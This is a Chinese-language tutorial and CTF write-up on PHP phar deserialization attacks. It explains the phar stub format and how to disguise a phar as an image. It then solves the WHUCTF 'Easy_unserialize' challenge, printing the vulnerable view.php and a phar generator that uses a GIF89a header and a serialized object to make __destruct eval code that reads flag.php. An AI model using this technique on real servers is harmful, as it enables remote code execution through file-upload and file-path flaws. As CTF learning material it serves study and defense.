0x00 前言
phar反序列化就是可以在不使用php函数unserialize()的前提下,进行反序列化,从而引起的严重的php对象注入漏洞。
0x01 phar原理
a stub(必须理解)
可以理解为一个标志,格式为xxx,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。(识别phar文件主要根据__HALT_COMPILER();?>这部分)
将phar伪造成其他格式的文件(重点)
在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
本地生成phar文件:打开phpstudy确定好对应版本,在php.ini中找到phar.readonly把On改成Off,前面;去掉,这样运行的时候才能生成phar文件
下面运行一个Demo,深入理解
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(""); //设置stub
$o = new TestObject();
$o -> data='purplet';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
可以看到生成如图所示的phar文件,接下来我们从winhex中看一下
方式即:phar://加phar文件
我们返回去看下上面的Demo,从第一个o前面开始都是套路,后面的o则是一个对象了,我们通过对这个对象的调用赋值,最后将其作为phar文件的meta-data部分传入到这个phar文件,后面三行也是固定格式,最后生成phar文件。
0x02 CTF中的应用
WHUCTF[Easy_unserialize]
考点:phar反序列化
题目上来是一个上传,正常上传文件后会根据每个用户的IP,MD5加密生成一个文件夹,将内容保存,同时还存在一个view按钮,可查看上传的文件
在upload处抓包,可以看到有参数传递,在一切毫无头绪时,考虑文件包含漏洞,利用PHP伪协议读取到upload.php和view.php,这里贴出view.php的内容upload.php并没有特别的考点在这里
#include_once "flag.php";
error_reporting(0);
class View
{
public $dir;
private $cmd;
function __construct()
{
$this->dir = 'upload/'.md5($_SERVER['REMOTE_ADDR']).'/';
$this->cmd = 'echo "Powered by: xxx";';
if(!is_dir($this->dir)) {
mkdir($this->dir, 0777, true);
}
}
function get_file_list() {
$file = scandir('.');
return $file;
}
function show_file_list() {
$file = $this->get_file_list();
for ($i = 2; $i < sizeof($file); $i++) {
echo "[".strval($i - 1)."] $file[$i]
";
}
}
function show_img($file_name) {
$name = $file_name;
$width = getimagesize($name)[0];
$height = getimagesize($name)[1];
$times = $width / 200;
$width /= $times;
$height /= $times;
$template = "dir$name\" alt=\"$file_name\" width = \"$width\" height = \"$height\">";
echo $template;
}
function delete_img($file_name) {
$name = $file_name;
if (file_exists($name)) {
@unlink($name);
if(!file_exists($name)) {
echo "成功删除! 3s后跳转";
header("refresh:3;url=view.php");
} else {
echo "Can not delete!";
exit;
}
} else {
echo "找不到这个文件! ";
}
}
function __destruct() {
eval($this->cmd);
}
}
$ins = new View();
chdir($ins->dir);
echo "当前目录为 " . $ins->dir . "";
$ins->show_file_list();
if (isset($_POST['show'])) {
$file_name = $_POST['show'];
$ins->show_img($file_name);
}
if (isset($_POST['delete'])) {
$file_name = $_POST['delete'];
$ins->delete_img($file_name);
}
unset($ins);
?>
代码中不存在unserialize函数,但存在eval函数,可对cmd变量构造恶意代码。同时题目还是一个文件上传,那么就可以联想到通过phar文件进行反序列化重构cmd变量的值,上传phar文件,最后通过show或者delete传参利用phar协议触发phar文件,使构造的序列化代码进行反序列化
构造:
class View {
public $dir = '';
private $cmd = 'phpinfo();chdir("/var/www/html");readfile("flag.php");';
}
$o = new View();
unlink("phar.phar");//删除原有存在的
$phar = new Phar("phar.phar");//生成
$phar->startBuffering();
$phar->setStub("GIF89a"); //设置stub,加入GIF头绕过内容验证
$phar->setMetadata($o); //加入序列化内容
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>
代码编写也很简单,很多都是套路,dir变量处可以什么都不写,也不会有影响,phar的学习可以参看https://paper.seebug.org/680/#2-a-manifest-describing-the-contents,生成了phar文件后进行上传,在view.php页面利用hacker bar传递show或delete参数,触发phar文件,这样在类的方法中运行完后会触发__destruct魔术方法执行eval函数。
最后在源代码最下方找到flag